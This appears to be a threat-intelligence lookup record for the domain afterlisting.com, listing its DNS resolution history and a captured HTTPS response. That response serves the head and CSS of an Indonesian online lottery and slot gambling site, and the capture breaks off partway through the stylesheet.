Help
RSS
API
Feed
Maltego
Contact
Domain > afterlisting.com
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2024-09-27
195.35.60.184
(
ClassC
)
2024-10-09
195.35.60.151
(
ClassC
)
2024-10-13
195.35.60.81
(
ClassC
)
2024-10-14
212.1.212.168
(
ClassC
)
2025-11-27
77.37.76.129
(
ClassC
)
2026-02-18
172.67.146.60
(
ClassC
)
Port 443
HTTP/1.1 200 OKDate: Wed, 18 Feb 2026 16:55:18 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveServer: cloudflareLast-Modified: Wed, 28 Jan 2026 10:07:44 GMTNel: {report_to:cf-nel,success_fraction:0.0,max_age:604800}Vary: Accept-EncodingReport-To: {group:cf-nel,max_age:604800,endpoints:{url:https://a.nel.cloudflare.com/report/v4?s0S00YlVGLDtFKX%2FKQpmcVYC%2B7QLZU%2ByghEtlp9B5OLuqvYbpfb6USKer%2F6gptDsMe8s%2F4SBunAuhJHSBdRBm0ChuMC8htz%2FoBXg97UE%2F}}cf-cache-status: DYNAMICCF-RAY: 9cff0d260c13ff1a-PDXalt-svc: h3:443; ma86400 !DOCTYPE html>html data-n-head-ssr langid-ID dirltr class data-n-head%7B%22lang%22:%7B%22ssr%22:%22id-ID%22%7D,%22dir%22:%7B%22ssr%22:%22ltr%22%7D,%22class%22:%7B%22ssr%22:%22%22%7D%7D>head> title>303VIP — Bandar Togel Online Resmi & Situs Slot Gacor Terpercaya No. 1/title> meta data-n-headssr charsetutf-8> meta data-n-headssr data-hidcharset charsetutf-8> meta data-n-headssr data-hidviewport nameviewport contentwidthdevice-width, initial-scale1, maximum-scale1, user-scalable0, minimal-ui, interactive-widgetresizes-content> meta data-n-headssr data-hidmobile-web-app-capable namemobile-web-app-capable contentyes> meta data-n-headssr data-hidapple-mobile-web-app-capable nameapple-mobile-web-app-capable contentyes> meta data-n-headssr data-hidapple-mobile-web-app-status-bar-style nameapple-mobile-web-app-status-bar-style contentdefault> meta data-n-headssr data-hidtheme-color nametheme-color content#D3AF37> meta data-n-headssr data-hidog:type nameog:type propertyog:type content303vip> meta data-n-headssr data-hidog:image nameog:image propertyog:image contenthttps://imgstock.io/images/2026/01/28/303vip-image-1.webp> meta data-n-headssr data-hidog:image:width nameog:image:width propertyog:image:width content512> meta data-n-headssr data-hidog:image:height nameog:image:height propertyog:image:height content512> meta data-n-headssr data-hidog:image:type nameog:image:type propertyog:image:type contentimage/png> meta data-n-headssr data-hidi18n-og propertyog:locale contentid_ID> meta data-n-headssr data-hidi18n-og-alt-en-GB propertyog:locale:alternate contenten_GB> meta data-n-headssr data-hiddescription namedescription contentSitus resmi 303VIP menghadirkan pasaran togel terlengkap (SGP, HK, SDY) dengan hadiah 4D 10 juta terbesar. Jaminan bayar lunas berapapun kemenangan Anda. Login sekarang.> meta data-n-headssr data-hidkeywords namekeywords contentlink alternatif, situs gacor, slot gacor> link data-n-headssr relicon typeimage/x-icon hrefhttps://bas3data.xyz/assets/Image/Brand/Logo/urlfavicon_303vip_303vip.ico> link data-n-headssr data-hidshortcut-icon relshortcut icon hrefhttps://bas3data.xyz/assets/Image/Brand/Logo/urlfavicon_303vip_303vip.ico> link data-n-headssr data-hidapple-touch-icon relapple-touch-icon hrefhttps://bas3data.xyz/assets/Image/Brand/Logo/urlfavicon_303vip_303vip.ico sizes512x512> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 320px) and (device-height: 568px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-iphonese> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 375px) and (device-height: 667px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-iphone6> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 621px) and (device-height: 1104px) and (-webkit-device-pixel-ratio: 3) relapple-touch-startup-image data-hidapple-touch-startup-image-iphoneplus> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 375px) and (device-height: 812px) and (-webkit-device-pixel-ratio: 3) relapple-touch-startup-image data-hidapple-touch-startup-image-iphonex> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 414px) and (device-height: 896px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-iphonexr> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 414px) and (device-height: 896px) and (-webkit-device-pixel-ratio: 3) relapple-touch-startup-image data-hidapple-touch-startup-image-iphonexsmax> link data-n-headssr hrefhttps://imgstock.io/images/2026/01/28/303vip-image-1.webp media(device-width: 768px) and (device-height: 1024px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-ipad> link data-n-headssr media(device-width: 834px) and (device-height: 1112px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-ipadpro1> link data-n-headssr media(device-width: 834px) and (device-height: 1194px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-ipadpro2> link data-n-headssr media(device-width: 1024px) and (device-height: 1366px) and (-webkit-device-pixel-ratio: 2) relapple-touch-startup-image data-hidapple-touch-startup-image-ipadpro3> link data-n-headssr relmanifest hrefhttps://cdn-proxy.globalcontentcloud.com/58/dist/manifest.ccbfabc6.json data-hidmanifest> link data-n-headssr data-hidi18n-alt-id relalternate hrefhttps://afterlisting.com hreflangid> link data-n-headssr data-hidi18n-alt-id-ID relalternate hrefhttps://afterlisting.com hreflangid-ID> link data-n-headssr data-hidi18n-alt-en relalternate hrefhttps://afterlisting.com hreflangen> link data-n-headssr data-hidi18n-alt-en-GB relalternate hrefhttps://afterlisting.com hreflangen-GB> link data-n-headssr data-hidi18n-xd relalternate hrefhttps://afterlisting.com hreflangx-default> link data-n-headssr data-hidi18n-can relcanonical hrefhttps://afterlisting.com> link data-n-headssr data-hidbrand-amp relamphtml hrefhttps://propatte.xyz/afterlisting.com /> style data-vue-ssr-id5f8fffe6:0 5f8fffe6:1 5564551a:0 5c346d62:0 737e6e7e:0 abacbb72:0 3d6af804:0 b07c7b88:0 0f34a119:0 516a95ee:0 2065e928:0 48d2e31c:0 1e6962f8:0 6328fecd:0 01423e96:0 d44b6368:0 45950b50:0 0f1b1166:0 7f8ce74e:0 3527a6c8:0 63e9c044:0 1bd34be1:0 2f97eff2:0 0d5f88d1:0 5ec9e21a:0 507314ec:0 6a594412:0 047c1842:0 87f150ba:0> @import url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418128/icons_hiww3u.css); @font-face { font-family: Avenir; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418161/avenir-35.f136337_c1c6xv.ttf) format(ttf); font-style: normal; font-weight: 300 } @font-face { font-family: Avenir; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418184/avenir-45.f630d8a_wlrbcq.ttf) format(ttf); font-style: normal; font-weight: 400 } @font-face { font-family: Avenir; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418226/avenir-55.1ff38de_v0uqlq.ttf) format(ttf); font-style: normal; font-weight: 500 } @font-face { font-family: Avenir; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418254/avenir-65.575ae43_dkscql.ttf) format(ttf); font-style: normal; font-weight: 600 } @font-face { font-family: Avenir; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418286/avenir-85.af8024e_c6tpdr.ttf) format(ttf); font-style: normal; font-weight: 700 } @font-face { font-family: Avenir; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418319/avenir-95.dbad8bb_vje6hk.ttf) format(ttf); font-style: normal; font-weight: 900 } .text-link-bold { font-weight: 600 } @font-face { font-family: idn; src: url(https://res.cloudinary.com/dosx2tegu/raw/upload/v1765418345/idn_sktjhj.ttf) format(truetype); font-weight: 400; font-style: normal; font-display: block } class* icon-,class^icon- { font-family: idn!important; font-style: normal; font-weight: 400; font-feature-settings: normal; font-variant: normal; text-transform: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale } input:disabled,select:disabled { opacity: 1 } .input__container { width: 100%; position: relative; margin-bottom: 1rem } .input__container label { display: block; font-size: .875rem; margin-bottom: .25rem } .input__container.input--search { margin-bottom: 0 } .input__root { position: relative; display: flex; flex-direction: row; align-items: center; border-radius: 5px } .input__icon { position: absolute; left: .5rem; color: #D3AF37; z-index: 3 } .input__validation-icon { position: absolute; right: .5rem } .input__validation-icon.valid { color: #139c44 } .input__validation-icon.invalid { color: #D3AF37 } .select__container .input__validation-icon { right: 1.5rem } .input__error { color: #D3AF37; font-size: .75rem; font-style: italic; margin-top: .25rem; font-family: Avenir,Helvetica Neue,Arial,sans-serif; font-weight: 300 } .input__icon--pv { right: .5rem; left: unset; cursor: pointer } .select__arrow { position: absolute; right: .5rem; pointer-events: none } .select__arrow--disabled { color: hsla(0,0%,100%,.38) } .input { width: 100%; outline: none; padding: .375rem 1.5rem; border-radius: 5px; color: #fff; border: 1px solid hsla(0,0%,100%,.6); background-color: #191f22; font-size: .875rem; font-family: inherit; -webkit-appearance: none; -moz-appearance: none; appearance: none; transition: color .2s ease,border-color .2s ease } .input.input--invalid,.input.input--invalid:focus,.input.input--invalid:hover { border-color: #D3AF37 } .input.input--valid,.input.input--valid:focus,.input.input--valid:hover { border-color: #139c44 } .input.input__select { padding: .375rem 2.5rem .375rem 1.5rem } .input::-moz-placeholder { color: hsla(0,0%,100%,.6) } .input:-ms-input-placeholder { color: hsla(0,0%,100%,.6) } .input::placeholder { color: hsla(0,0%,100%,.6) } .input:focus,.input:hover { border-color: #D3AF37 } .input:disabled { color: hsla(0,0%,100%,.38); border-color: hsla(0,0%,100%,.38) } .input--inverse { color: #000; background-color: #f0f0f0; border-color: transparent } .input--inverse::-moz-placeholder { color: rgba(0,0,0,.38) } .input--inverse:-ms-input-placeholder { color: rgba(0,0,0,.38) } .input--inverse::placeholder { color: rgba(0,0,0,.38) } .input--hidden { z-index: -1; position: absolute; color: transparent; background-color: transparent } .input--search .input__root { overflow: hidden } .input--search .input__icon--loading { position: absolute; right: .75rem; color: #D3AF37 } .input-search--clear { position: absolute; right: 0; color: hsla(0,0%,100%,.6); transition: color .2s ease } .input-search--clear:hover { color: #fff } .input--search .input { padding-left: 2rem; padding-right: 2rem } .input--underlined .input { border-radius: 0; background-color: transparent; border: none; border-bottom: 1px solid hsla(0,0%,100%,.6) } .input--underlined .input__icon { color: #fff } .input__password .input { padding-right: 1.5rem } .input__textarea .input__root { overflow: hidden } .input__textarea .input__icon { top: .625rem } .wallet-form .alert,.wallet-form buttontypesubmit { margin-bottom: 1rem } .wallet-form buttontypesubmit:last-child { margin-bottom: 0 } .wallet-form--d { position: relative; display: grid; grid-column-gap: 2rem; grid-template-columns: repeat(3,minmax(0,1fr)) } .wallet-form--d buttontypesubmit { margin-bottom: 0 } .wallet-form--d .alert,.wallet-form--d .bank-select,.wallet-form--d .bonus-select,.wallet-form--d .input__container,.wallet-form--d .preset-amounts,.wallet-form--d .wallet-detail__deposit-to,.wallet-form--d buttontypesubmit { grid-column: 1/3 } .wallet-form--d .wallet-detail:not(.wallet-detail__deposit-to) { position: absolute; grid-column: 3/4; grid-row: 1/2; width: 100% } .datepicker__wrapper { width: 100% } div.datepicker__calendar { border: none; margin-top: .5rem; border-radius: 5px; background-color: #191f22 } div.datepicker__calendar .prev:after { border-right-color: #fff } div.datepicker__calendar .next:after { border-left-color: #fff } div.datepicker__calendar .next:not(.disabled):hover,div.datepicker__calendar .prev:not(.disabled):hover,div.datepicker__calendar .up:not(.disabled):hover { background: unset } div.datepicker__calendar .cell { border: none; font-size: .875rem; height: 34px; line-height: 34px } div.datepicker__calendar .cell.selected { background: unset; color: #D3AF37 } div.datepicker__calendar .cell:not(.blank):not(.disabled).day:hover,div.datepicker__calendar .cell:not(.blank):not(.disabled).month:hover,div.datepicker__calendar .cell:not(.blank):not(.disabled).year:hover { border: none; color: #D3AF37 } a { color: inherit; font-size: .875rem; text-decoration: none; vertical-align: middle } @media(hover: hover)and (min-width:1024px) { a:not(.btn):hover { color:#D3AF37 } } button { border: none; outline: none; cursor: pointer; -webkit-appearance: none; -moz-appearance: none; appearance: none; font-family: inherit; background-color: unset } .btn { height: 34px; color: #fff; white-space: nowrap; padding: 0 1rem; font-weight: 700; font-size: .875rem; text-align: center; border-radius: 2px; background-color: transparent; transition: background-color .2s ease } .btn:disabled,.btn:hover:disabled { cursor: not-allowed; color: hsla(0,0%,100%,.38); background-color: #191f22 } .btn--loading { position: relative; display: flex; align-items: center; justify-content: center } .btn--loading:disabled,.btn--loading:disabled:hover { color: transparent; border: none; background-color: #191f22 } .btn--loading i { position: absolute; color: #D3AF37 } .btn--sm { font-size: .75rem; height: 24px } .btn--block { display: block; width: 100% } .btn--flex { display: flex; align-items: center; justify-content: center } .btn--outlined { border-radius: 5px; border: 1px solid hsla(0,0%,100%,.6) } @media(hover: hover)and (min-width:1024px) { .btn--outlined:hover { border-color:#fff } } .btn--light { color: #fff; background-color: #191f22 } @media(hover: hover)and (min-width:1024px) { .btn--light:hover { background-color:#1f252d } } .btn--demo-play { color: #fff; border: 1px solid hsla(0,0%,100%,.6); background-color: rgba(41,50,60,.5) } @media(hover: hover)and (min-width:1024px) { .btn--demo-play:hover { background-color:#191f22 } } .btn--dark { color: #fff; background-color: #191f22 } .btn--dark:hover { background-color: #060708 } .btn--primary { color: #fff; background-color: #D3AF37 } .btn--primary:hover { background-color: #0d1116 } .btn--accent { color: #fff; background-color: #dd1651 } @media(hover: hover)and (min-width:1024px) { .btn--accent:hover { background-color:#c61449 } } .btn--accent-secondary { color: #fff; background-color: #bd1acc } @media(hover: hover)and (min-width:1024px) { .btn--accent-secondary:hover { background-color:#a817b5 } } .btn--brand { color: #fff; background-color: #D3AF37 } @media(hover: hover)and (min-width:1024px) { .btn--brand:hover { background-color:#a70b59 } } .btn--success { color: #fff; background-color: #139c44 } @media(hover: hover)and (min-width:1024px) { .btn--success:hover { background-color:#10853a } } .btn--success:disabled,.btn--success:hover:disabled { cursor: not-allowed; color: hsla(0,0%,100%,.38); background-color: #0d6f30 } .btn--danger { color: #fff; background-color: #D3AF37 } @media(hover: hover)and (min-width:1024px) { .btn--danger:hover { background-color:#D3AF37 } } .btn--round { width: 34px } .btn--round,.btn--sm-round { overflow: hidden; display: flex; align-items: center; justify-content: center; border-radius: 50% } .btn--sm-round { font-size: .75rem; padding: .25rem; width: 24px; height: 24px; box-sizing: content-box } .btn--dropdown-toggle { padding-right: 1.5rem } @-webkit-keyframes grow { 0% { opacity: 0 } to { opacity: 1; transform: scale(1) } } @keyframes grow { 0% { opacity: 0 } to { opacity: 1; transform: scale(1) } } @-webkit-keyframes pointer { 0% { touch-action: none; pointer-events: none } to { touch-action: auto; pointer-events: all } } @keyframes pointer { 0% { touch-action: none; pointer-events: none } to { touch-action: auto; pointer-events: all } } @-webkit-keyframes trans { 0% { pointer-events: none } to { pointer-events: all; transform: translateY(-.25rem) } } @keyframes trans { 0% { pointer-events: none } to { pointer-events: all; transform: translateY(-.25rem) } } @-webkit-keyframes skeleton { 0% { left: -100% } to { left: 100% } } @keyframes skeleton { 0% { left: -100% } to { left: 100% } } @-webkit-keyframes countdown { 0% { width: 100% } to { width: 0 } } @keyframes countdown { 0% { width: 100% } to { width: 0 } } .toasted-container.app-toast.top-left { padding: 0 .5rem; left: unset; top: calc(90px + .5rem) } .toasted-container.app-toast.top-left.app-toast--d { top: calc(54px + .5rem) } .toasted-container.app-toast.top-left.app-toast--d .toasted.app-toast { max-width: 300px } .toasted-container.app-toast.top-left.app-toast--d .toasted.app-toast:first-child { margin-top: 0 } .toasted-container.app-toast .toasted.app-toast { position: relative; display: grid; overflow: hidden; grid-column-gap: .5rem; min-height: 60px; max-width: calc(100vw - 50px); grid-template-columns: 4rem 1fr 2rem; padding: 0; font-weight: 400; line-height: normal; font-size: .875rem; color: #fff; border-radius: 5px; background-color: #191f22; filter: drop-shadow(.1rem .1rem .1rem #191f22) } .toasted-container.app-toast .toasted.app-toast:after { position: absolute; display: block; left: 0; bottom: 0; content: ; width: 100%; height: .25rem; background-color: rgba(13,191,187,.5); -webkit-animation: countdown 10s linear forwards; animation: countdown 10s linear forwards } .toasted-container.app-toast .toasted.app-toast>i { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; min-height: 4rem; padding: .5rem; font-size: 1.25rem; color: #fff; background-color: #191f22 } .toasted-container.app-toast .toasted.app-toast>i:before { filter: drop-shadow(.1rem .1rem .1rem #191f22) } .toasted-container.app-toast .toasted.app-toast a.action { justify-self: center; display: block; margin: 0; padding: 0; font-size: 1rem; color: #fff } .toasted-container.app-toast .toasted.app-toast>span { display: block; padding: .5rem 0; font-size: .75rem; align-self: center } .toasted-container.app-toast .toasted.app-toast.toast--success { background-color: #D3AF37 } .toasted-container.app-toast .toasted.app-toast.toast--success i { color: #139c44 } .toasted-container.app-toast .toasted.app-toast.toast--error,.toasted-container.app-toast .toasted.app-toast.toast--info { background-color: #D3AF37 } .toasted-container.app-toast .toasted.app-toast.toast--error i { color: #D3AF37 } .shadow-container { position: relative; overflow: hidden } .shadow-container:after,.shadow-container:before { position: absolute; top: 0; opacity: 0; z-index: 2; content: ; width: 50px; height: 100%; pointer-events: none; transition: opacity .2s ease } .shadow-container.shadow--primary:before { left: 0; background: linear-gradient(90deg,#D3AF37 0,rgba(23,30,38,0)) } .shadow-container.shadow--primary:after { right: 0; background: linear-gradient(270deg,#D3AF37 0,rgba(23,30,38,0)) } .shadow-container.shadow--dark:before { left: 0; background: linear-gradient(90deg,#191f22 0,rgba(16,19,23,0)) } .shadow-container.shadow--dark:after { right: 0; background: linear-gradient(270deg,#191f22 0,rgba(16,19,23,0)) } .shadow-container.shadow-end:after,.shadow-container.shadow-start:before { opacity: 1 } .shadow-container .shadow-observer { display: block; width: 1px; height: 1px; flex-shrink: 0 } .page-enter-active,.page-leave-active { transition: opacity .3s cubic-bezier(.4,0,.2,1) } .game-fade-enter,.game-fade-leave-to,.page-enter,.page-leave-to { opacity: 0 } .game-fade-enter-active,.game-fade-leave-active { transition: opacity .5s ease } html { font-family: Avenir,Helvetica Neue,Arial,sans-serif; font-size: 16px; word-spacing: 1px; -ms-text-size-adjust: 100%; -webkit-text-size-adjust: 100%; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; box-sizing: border-box } *,:after,:before { box-sizing: border-box; margin: 0; padding: 0 } body { overflow: auto; overflow: overlay; font-weight: 400; color: #fff; background-color: #191f22; padding-bottom: env(safe-area-inset-bottom) } @media(min-width: 1024px) { body::-webkit-scrollbar { width:.25rem } body::-webkit-scrollbar-track { border-radius: 20px; background-color: #191f22 } body::-webkit-scrollbar-thumb { border-radius: 20px; background-color: #fff } } #__app,#__layout,body,html { height: 100%; min-height: 100% } h1 { font-size: 1.75rem } h2 { font-size: 1.5rem } h3 { font-size: 1.25rem } h4 { font-size: 1rem } h5 { font-size: .875rem } h6 { font-size: .75rem } h3,h4,h5,h6 { font-weight: 700 } ul { list-style-type: none } input::-webkit-inner-spin-button,input::-webkit-outer-spin-button { -webkit-appearance: none; margin: 0 } .dropdown .dropdown__toggle .btn--dropdown-toggle~.dropdown__icon { right: .5rem } .surface { box-shadow: 0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12) } .surface--inverse { box-shadow: 0 -3px 3px -2px rgba(0,0,0,.2),0 -3px 4px 0 rgba(0,0,0,.14),0 -1px 8px 0 rgba(0,0,0,.12) } .page { min-height: 100%; flex-direction: column; justify-content: center; padding-bottom: 1rem } .page,.page-header { display: flex; align-items: center } .page-header { padding: .5rem 0; border-bottom: 1px solid #191f22 } .page-header h3 { font-size: 1rem } .page-header i { margin-right: .5rem } .scroll--disabled { overflow: hidden } .error { color: #D3AF37 } .warning { color: #fdd835 } .loadingdata-v-1259992c { position: fixed; top: 0; left: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; z-index: 999; background-color: rgba(16,19,23,.9) } .loading--globaldata-v-1259992c { position: fixed; background-color: rgba(16,19,23,.7) } .loading .sk-cube-griddata-v-1259992c { width: 40px; height: 40px; overflow: hidden; border-radius: 2px } .loading .sk-cube-grid .sk-cubedata-v-1259992c { width: 33%; height: 33%; float: left; background-color: #D3AF37; -webkit-animation: sk-cubeGridScaleDelay-data-v-1259992c 1.3s ease-in-out infinite; animation: sk-cubeGridScaleDelay-data-v-1259992c 1.3s ease-in-out infinite } .loading .sk-cube-grid .sk-cube1data-v-1259992c { -webkit-animation-delay: .2s; animation-delay: .2s } .loading .sk-cube-grid .sk-cube2data-v-1259992c { -webkit-animation-delay: .3s; animation-delay: .3s } .loading .sk-cube-grid .sk-cube3data-v-1259992c { -webkit-animation-delay: .4s; animation-delay: .4s } .loading .sk-cube-grid .sk-cube4data-v-1259992c { -webkit-animation-delay: .1s; animation-delay: .1s } .loading .sk-cube-grid .sk-cube5data-v-1259992c { -webkit-animation-delay: .2s; animation-delay: .2s } .loading .sk-cube-grid .sk-cube6data-v-1259992c { -webkit-animation-delay: .3s; animation-delay: .3s } .loading .sk-cube-grid .sk-cube7data-v-1259992c { -webkit-animation-delay: 0s; animation-delay: 0s } .loading .sk-cube-grid .sk-cube8data-v-1259992c { -webkit-animation-delay: .1s; animation-delay: .1s } .loading .sk-cube-grid .sk-cube9data-v-1259992c { -webkit-animation-delay: .2s; animation-delay: .2s } @-webkit-keyframes sk-cubeGridScaleDelay-data-v-1259992c { 0%,70%,to { transform: scaleX(1) } 35% { transform: scale3D(0,0,1) } } @keyframes sk-cubeGridScaleDelay-data-v-1259992c { 0%,70%,to { transform: scaleX(1) } 35% { transform: scale3D(0,0,1) } } .layout--default { position: relative; display: grid; min-height: 100%; grid-template-columns: 100%; grid-template-rows: auto 1fr auto auto auto } .layout--default .top-observer { position: absolute; width: 100%; top: 1500px; pointer-events: none; height: calc(100% - 1500px) } .layout--default main>.container { background-color: #191f22 } .layout--android { grid-template-rows: auto auto 1fr auto auto auto } .layout--d { grid-row-gap: .5rem; grid-template-rows: auto auto 1fr auto auto } .layout--d .top-observer { top: unset; bottom: 100px; height: 1px } .layout--d.layout--bg main>.container { padding: 1rem } .app-header { position: sticky; top: 0; color: #fff; height: 90px; z-index: 99; background-color: #191f22 } .app-header__dewafortune { position: relative; margin-right: .5rem } .app-header__dewafortune img { position: absolute; top: 0; left: 0; width: 2rem; transform: translate(-60%,-20%) } .app-header__main { position: relative; display: flex; flex-direction: row; align-items: center; justify-content: space-between; height: 54px } .app-header__extra { display: flex; overflow: hidden; background-color: #D3AF37; height: 36px } .app-header__balance { padding: 0 1rem; font-weight: 700; font-size: .875rem } .app-header__balance,.app-header__username { display: flex; align-items: center; justify-content: center; border-left: 1px solid #191f22; height: 54px } .app-header__username { padding-left: .5rem } .app-header__username i { margin-right: .25rem } .app-header__username span { font-size: .875rem } .app-header--d { height: 54px; display: flex; border-bottom: 1px solid #191f22 } .app-header--d .container--fluid { margin: 0 auto; max-width: 1200px } .app-header--d .app-brand { position: sticky; max-width: unset; left: 7rem } .app-brand { max-width: 40% } .app-brand a .app-logo { display: block; width: 100%; max-width: 160px; height: calc(54px - 1rem); -o-object-fit: contain; object-fit: contain; -o-object-position: left center; object-position: left center } .app-header__widgets { width: 60%; justify-content: flex-end } .app-header__widgets,.app-header__widgets .app-header__auth,.app-header__widgets .app-header__user { display: flex; align-items: center } .app-header__widgets .app-header__auth .app-header__btn-inbox,.app-header__widgets .app-header__user .app-header__btn-inbox { margin-right: 1rem } .app-header__widgets .app-header__auth .app-link--exact-active .icon_chip i,.app-header__widgets .app-header__user .app-link--exact-active .icon_chip i { color: #D3AF37 } .app-header__widgets .app-header__auth>*,.app-header__widgets .app-header__user>* { margin-right: .5rem } .app-header__widgets .app-header__auth>:last-child,.app-header__widgets .app-header__user>:last-child { margin-right: 0 } @media(min-width: 1024px) { .app-header__widgets { width:auto } .app-header__widgets .app-header__auth .btn { width: 4.75rem } } .drawer__toggle { flex: 1 1 25%; height: 100%; display: flex; align-items: center; justify-content: center; border-radius: 0; border-left: 1px solid #D3AF37 } .drawer__toggle--d { position: absolute; left: 0; width: 6rem; flex: unset; z-index: 2; border-left: none; color: hsla(0,0%,100%,.6); border-right: 1px solid #191f22 } .drawer__toggle--d:hover,.drawer__toggle--d i { color: #D3AF37 } .drawer__toggle--active { color: #D3AF37; background-color: #191f22 } .container--fluiddata-v-ced53b20 { width: 100vw; padding: 0 .5rem } @media(min-width: 1024px) { .container--fluiddata-v-ced53b20 { padding:0 1rem } } .app-breadcrumbs { position: relative; display: flex; flex: 1 1 75%; overflow: hidden; min-height: 24px } .app-breadcrumbs--light { background-color: #191f22 } .app-breadcrumbs--primary { background-color: #D3AF37 } .app-breadcrumbs:after,.app-breadcrumbs:before { position: absolute; opacity: 0; top: 0; width: 50px; height: 100%; content: ; z-index: 2; pointer-events: none; transition: opacity .2s ease } .app-breadcrumbs:before { left: 0; background: linear-gradient(90deg,#D3AF37 0,rgba(23,30,38,0)) } .app-breadcrumbs:after { right: 0; background: linear-gradient(270deg,#D3AF37 0,rgba(23,30,38,0)) } .app-breadcrumbs--shadow-end:after,.app-breadcrumbs--shadow-start:before { opacity: 1 } .app-breadcrumbs ul { height: 100%; display: flex; align-items: center; overflow: hidden; overflow-x: scroll; overflow-x: overlay; scroll-behavior: smooth; -ms-scroll-snap-type: x mandatory; scroll-snap-type: x mandatory; scrollbar-width: none; -ms-overflow-style: none } .app-breadcrumbs ul::-webkit-scrollbar { display: none } .app-breadcrumbs .nav-observer { flex-shrink: 0; height: 100%; width: 1px } .app-breadcrumbs .nav-item { height: 100%; transition: color .2s ease; scroll-snap-align: start } .app-breadcrumbs .nav-item:hover { color: #fff } .app-breadcrumbs .nav-item--fill { font-size: .75rem; display: flex; align-items: center; justify-content: center } .app-breadcrumbs .nav-item--fill i { color: #fff } .app-breadcrumbs .nav-item a { height: 100%; padding: 0 .5rem; font-size: .75rem; font-weight: 700; white-space: nowrap; display: flex; align-items: center; justify-content: center; text-transform: capitalize; color: #fff } .app-breadcrumbs .nav-item a.app-link--activedata-refbonus,.app-breadcrumbs .nav-item a.app-link--activedata-refleaderboard,.app-breadcrumbs .nav-item a.app-link--activedata-refpromowins,.app-breadcrumbs .nav-item a.app-link--activedata-refreferral,.app-breadcrumbs .nav-item a.app-link--exact-active:not(data-refpromo):not(data-refpromosi):not(data-refslots) { color: #D3AF37 } .app-breadcrumbs--d { flex: unset } .app-breadcrumbs--d ul { min-height: 24px } .app-breadcrumbs--d:before { background: linear-gradient(90deg,#191f22 0,transparent) } .app-breadcrumbs--d:after { background: linear-gradient(270deg,#191f22 0,transparent) } .app-button i:first-child { margin-right: .5rem } .app-button i:last-child { margin-left: .5rem } idata-v-0e010622:before { margin: 0; font-size: inherit } i.successdata-v-0e010622 { color: #139c44 } i.errordata-v-0e010622 { color: #D3AF37 } i.spindata-v-0e010622 { display: inline-block; -webkit-animation: spin-data-v-0e010622 2s linear infinite; animation: spin-data-v-0e010622 2s linear infinite } i.icon--xsdata-v-0e010622 { font-size: .75em } i.icon--smdata-v-0e010622 { font-size: .875em } i.icon--mddata-v-0e010622 { font-size: inherit } i.icon--lgdata-v-0e010622 { font-size: 1.33333em } i.icon--2xdata-v-0e010622 { font-size: 2em } i.icon--2-5xdata-v-0e010622 { font-size: 2.5em } i.icon--3xdata-v-0e010622 { font-size: 3em } i.icon--4xdata-v-0e010622 { font-size: 4em } @-webkit-keyframes spin-data-v-0e010622 { 0% { transform: rotate(0deg) } to { transform: rotate(1turn) } } @keyframes spin-data-v-0e010622 { 0% { transform: rotate(0deg) } to { transform: rotate(1turn) } } .container { padding: 0 .5rem; height: 100%; min-height: 100% } @media(min-height: 550px) { .container { height:100%; min-height: 100% } } @media(min-width: 1024px) { .container { padding:0 1rem; margin: 0 auto; max-width: 1200px } } .home__teaser { display: grid; grid-gap: .5rem; padding: .5rem 0; grid-template-columns: repeat(3,minmax(0,1fr)) } .home__dewafortune { position: relative; grid-column: 1/-1; border-color: #fff } .home__dewafortune img { position: absolute; top: 0; left: 0; width: 2rem; transform: translateY(-15%) } .home .running-text { left: -.5rem; width: calc(100% + 1rem) } .home--columns-2 { grid-column: span 4 } .home--columns-1 { grid-column: span 2 } .home .card { margin-top: -20px; padding-bottom: calc(1rem + 20px) } .home .card:first-of-type { margin-top: 0 } .home .card:last-of-type { padding-bottom: 1rem } .home--d { display: grid; grid-gap: .5rem; grid-template-columns: repeat(6,minmax(0,1fr)) } .home--d .home__teaser { padding: 0 } .home--d .home--full-width { grid-column: 1/-1 } .home--d .home-carousel { grid-column: 1/5; overflow: hidden; border-radius: 5px; width: 100%; transform: translateX(0); padding-bottom: 35% } .home--d .idn-carousel { grid-row: span 2 } .home--d .home__teaser { grid-column: 1/5 } .home--d .card { margin-top: 0; padding-bottom: 1rem; border-radius: 5px } .home--d .card:first-of-type { margin-top: unset } .home--d .card--arcade-carousel,.home--d .card--slot-carousel { padding: .25rem 1rem } .home--d .card.card--arcade-carousel { grid-row: 6/7 } .home--d .arcade-showcase { grid-row: 7/8 } .home-carousel { height: 0; overflow: hidden; background-color: #191f22; width: calc(100% + 1rem); transform: translateX(-.5rem); padding-bottom: calc(35% + .35rem) } .home-carousel .slick-slider { position: absolute!important; top: 0; left: 0; width: 